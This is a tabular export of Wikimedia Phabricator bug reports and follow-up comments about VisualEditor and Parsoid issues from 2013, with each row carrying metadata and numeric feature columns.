https://gerrit.wikimedia.org/r/79055",,,1376509523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 79055 merged by jenkins-bot:
Fix rendering of inspector for embedded buttons

GERRIT_URL"
233581,VisualEditor: Inspector fails to render correctly for embedded buttons,"Change 79055 had a related patch set uploaded by Esanders:
Fix rendering of inspector for embedded buttons

https://gerrit.wikimedia.org/r/79055",,,1376491490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.904761904761905,1.0,"Change 79055 had a related patch set uploaded by Esanders:
Fix rendering of inspector for embedded buttons

GERRIT_URL"
54771,VisualEditor: Pasting block level elements can lose annotations,"If you copy a block level element and try to paste it all the annotations (links, bold, italic etc.) are removed and it is just pasted as plain text. You need to select the whole line with the selection region going all the way to the right of the screen. 

For example in 
http://en.wikipedia.org/wiki/User:Salix_alba/VE_test 
selecting the whole of the final paragraph and coping and pasting loses anotation.

Examining the clipboard in this case its something like
<meta charset='utf-8'><p data-parsoid ...</p><br class=""Apple-interchange-newline"">

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52770",High,80.0,1376343780,1381158661.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-5nevglmngclvgx6tccw2,task_description,resolved,True,c1,3,False,False,False,6,,1.0,1.0,0.0,1.0,0.0,5.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,7.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,2.5,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,1.0,6.5,0.5,2.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,7.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,3.5,3.8590004522840347,0.7063545906829489,"If you copy a block level element and try to paste it all the annotations (links, bold, italic etc.) are removed and it is just pasted as plain text. You need to select the whole line with the selection region going all the way to the right of the screen. 

For example in 
URL 
selecting the whole of the final paragraph and coping and pasting loses anotation.

Examining the clipboard in this case its something like
<meta charset='utf-8'><p data-parsoid ...</p><br class=""Apple-interchange-newline"">

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
254115,VisualEditor: Pasting block level elements can lose annotations,Can confirm that this has been incidentally fixed as part of Ed's work on copy-and-paste - tested in Chrome/Firefox/Safari/Opera. (Yay.),,,1381158661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5nevglmngclvgx6tccw2,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.342857142857143,0.8571428571428571,Can confirm that this has been incidentally fixed as part of Ed's work on copy-and-paste - tested in Chrome/Firefox/Safari/Opera. (Yay.)
254110,VisualEditor: Pasting block level elements can lose annotations,Can't reproduce.,,,1381156961,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5nevglmngclvgx6tccw2,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Can't reproduce.
54752,VisualEditor: Edit to a template somehow removing equals signs in markup?,"See https://ja.wikipedia.org/w/index.php?title=%E5%88%A9%E7%94%A8%E8%80%85:Frozen-mikan/sandbox&diff=48779068&oldid=48778951 which used https://ja.wikipedia.org/wiki/Template:%E3%83%AA%E3%83%B3%E3%82%AF%E4%BF%AE%E6%AD%A3%E4%BE%9D%E9%A0%BC/%E6%94%B9%E5%90%8D

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376320140,1421281940.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-66ginvgnolmwprgt3cuj,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9130434782608696,0.5652173913043478,"See URL which used URL

--------------------------
**Version**: unspecified
**Severity**: normal"
399856,VisualEditor: Edit to a template somehow removing equals signs in markup?,AFAICT this is fixed; no recurrences in months have been reported.,,,1421281940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,AFAICT this is fixed; no recurrences in months have been reported.
253210,VisualEditor: Edit to a template somehow removing equals signs in markup?,Aha; sorry :).,,,1376321896,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,Aha; sorry :).
253205,VisualEditor: Edit to a template somehow removing equals signs in markup?,"Thank you.

(In reply to comment #0)
> which used
> https://ja.wikipedia.org/wiki/Template:
> %E3%83%AA%E3%83%B3%E3%82%AF%E4%BF%AE%E6%AD%A3%E4%BE%9D%E9%A0%BC/
> %E6%94%B9%E5%90%8D

I do not use this template. I used a dummy template. This is not created.
https://ja.wikipedia.org/wiki/%E5%88%A9%E7%94%A8%E8%80%85:Frozen-mikan/Template:%E7%A9%BA%E3%81%AE%E5%BC%95%E6%95%B0",,,1376320887,,PHID-USER-5c526sthsodab4l3hur6,False,,,PHID-TASK-66ginvgnolmwprgt3cuj,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,24.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,5.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.926829268292683,0.6585365853658537,"Thank you.

(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

I do not use this template. I used a dummy template. This is not created.
URL"
54751,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Output after saving

My setup:

MediaWiki:
1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013

VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013

ParsoidServer:
commit a4fec47e5201c329925967376f4106abd11178e3
Merge: fdb6e06 30315ed Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Fri Aug 9 02:43:12 2013 +0000


When I put in a simple Unsorted list the Parsoid Server throws an error message:
Incompatible constraints 1: LI P {a:{min: 0, max: 0}, b:{min: 1, max: 2}, min:0, max 0}


Attached you find the resulting output after I saved the page. Notice the extra Line that got added by Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11826}",High,80.0,1376317860,1376522202.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_description,resolved,True,c1,3,False,False,True,6,,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,16.5,0.5,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,2.5,2.5,14.0,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,3.9501582278481013,0.6408227848101266,"Output after saving

My setup:

MediaWiki:
1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013

VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013

ParsoidServer:
commit a4fec47e5201c329925967376f4106abd11178e3
Merge: fdb6e06 30315ed Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Fri Aug 9 02:43:12 2013 +0000


When I put in a simple Unsorted list the Parsoid Server throws an error message:
Incompatible constraints 1: LI P {a:{min: 0, max: 0}, b:{min: 1, max: 2}, min:0, max 0}


Attached you find the resulting output after I saved the page. Notice the extra Line that got added by Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11826}"
253169,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Change 78913 merged by jenkins-bot:
(Bug 52751): Serialize p-wrapped list items correctly

https://gerrit.wikimedia.org/r/78913",,,1376424244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.9545454545454546,"Change 78913 merged by jenkins-bot:
(Bug 52751): Serialize p-wrapped list items correctly

GERRIT_URL"
253165,Regression: Wikitext for new lists has unnecessary newlines after bullets,"Change 78913 had a related patch set uploaded by Subramanya Sastry:
(Bug 52751): Serialize p-wrapped list items correctly

https://gerrit.wikimedia.org/r/78913",,,1376342314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 78913 had a related patch set uploaded by Subramanya Sastry:
(Bug 52751): Serialize p-wrapped list items correctly

GERRIT_URL"
253161,Regression: Wikitext for new lists has unnecessary newlines after bullets,git bisect shows that c0de1d5839430e9fde79ff4195caf6841baab0d3 is the culprit.  Will investigate and fix.,,,1376341085,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.266666666666667,0.9333333333333333,git bisect shows that c0de1d5839430e9fde79ff4195caf6841baab0d3 is the culprit.  Will investigate and fix.
253155,Regression: Wikitext for new lists has unnecessary newlines after bullets,"I suspect this is a regression of some sort.  Can be duplicated with this HTML below (VE wraps li-content in p-tags).

[subbu@earth tests] echo ""<ul><li><p>a</p></li></ul>"" | node parse --html2wt
Incompatible constraints 1: LI P { a: { min: 0, max: 0 }, b: { min: 1, max: 2 }, min: 0, max: 0 }
* 
a",,,1376340885,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cclb4wsdr7iky3sqhmhw,task_subcomment,,True,c1,3,True,,,6,,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,1.0,4.0,20.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,2.7032967032967035,0.6373626373626373,"I suspect this is a regression of some sort.  Can be duplicated with this HTML below (VE wraps li-content in p-tags).

[subbu@earth tests] echo ""<ul><li><p>a</p></li></ul>"" | node parse --html2wt
Incompatible constraints 1: LI P { a: { min: 0, max: 0 }, b: { min: 1, max: 2 }, min: 0, max: 0 }
* 
a"
54745,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"It is requested to implement a keyboard shortcut for Save the edits. Ctrl+Shift+S combination will be the most suitable for this, as it is being used by the conventional editor right now.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1376299800,1377814470.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-o5baaacr6iodckukah5p,task_description,resolved,True,c1,3,False,False,True,6,,0.0,0.0,0.0,6.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.39622641509434,0.7358490566037735,"It is requested to implement a keyboard shortcut for Save the edits. Ctrl+Shift+S combination will be the most suitable for this, as it is being used by the conventional editor right now.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
252803,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"Merging with another suggestion for the same.

*** This bug has been marked as a duplicate of bug 50897 ***",,,1377814470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o5baaacr6iodckukah5p,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.423076923076923,0.7692307692307693,"Merging with another suggestion for the same.

*** This bug has been marked as a duplicate of bug 50897 ***"
252797,VisualEditor: Add a keyboard shortcut to trigger Save dialog,"> Ctrl+Shift+S

Sorry, I meant Alt+Shift+S",,,1376299882,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-o5baaacr6iodckukah5p,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"QUOTE

Sorry, I meant Alt+Shift+S"
54716,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"When you edit captions and input Japanese text with Japanese input method (of ことえり, the default Japanese method of Mac OS X), for example 生醤油 (kijouyu), the cursor will place itself after the first character, but it should place itself after the last (3rd) character. Tested on Firefox and OSX, but may happen in other browsers and operating systems. Thanks to Takashi Ota and Josh Lim for testing and reporting.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1376191500,1377202396.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_description,resolved,True,c1,3,False,False,True,5,,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,7.0,0.0,0.0,0.5,0.0,1.0,0.0,4.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.5,0.5,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,7.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.7058823529411764,"When you edit captions and input Japanese text with Japanese input method (of ことえり, the default Japanese method of Mac OS X), for example 生醤油 (kijouyu), the cursor will place itself after the first character, but it should place itself after the last (3rd) character. Tested on Firefox and OSX, but may happen in other browsers and operating systems. Thanks to Takashi Ota and Josh Lim for testing and reporting.

--------------------------
**Version**: unspecified
**Severity**: major"
250463,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202396,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.8,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!"
250461,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377164931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

GERRIT_URL"
250459,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377027656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

GERRIT_URL"
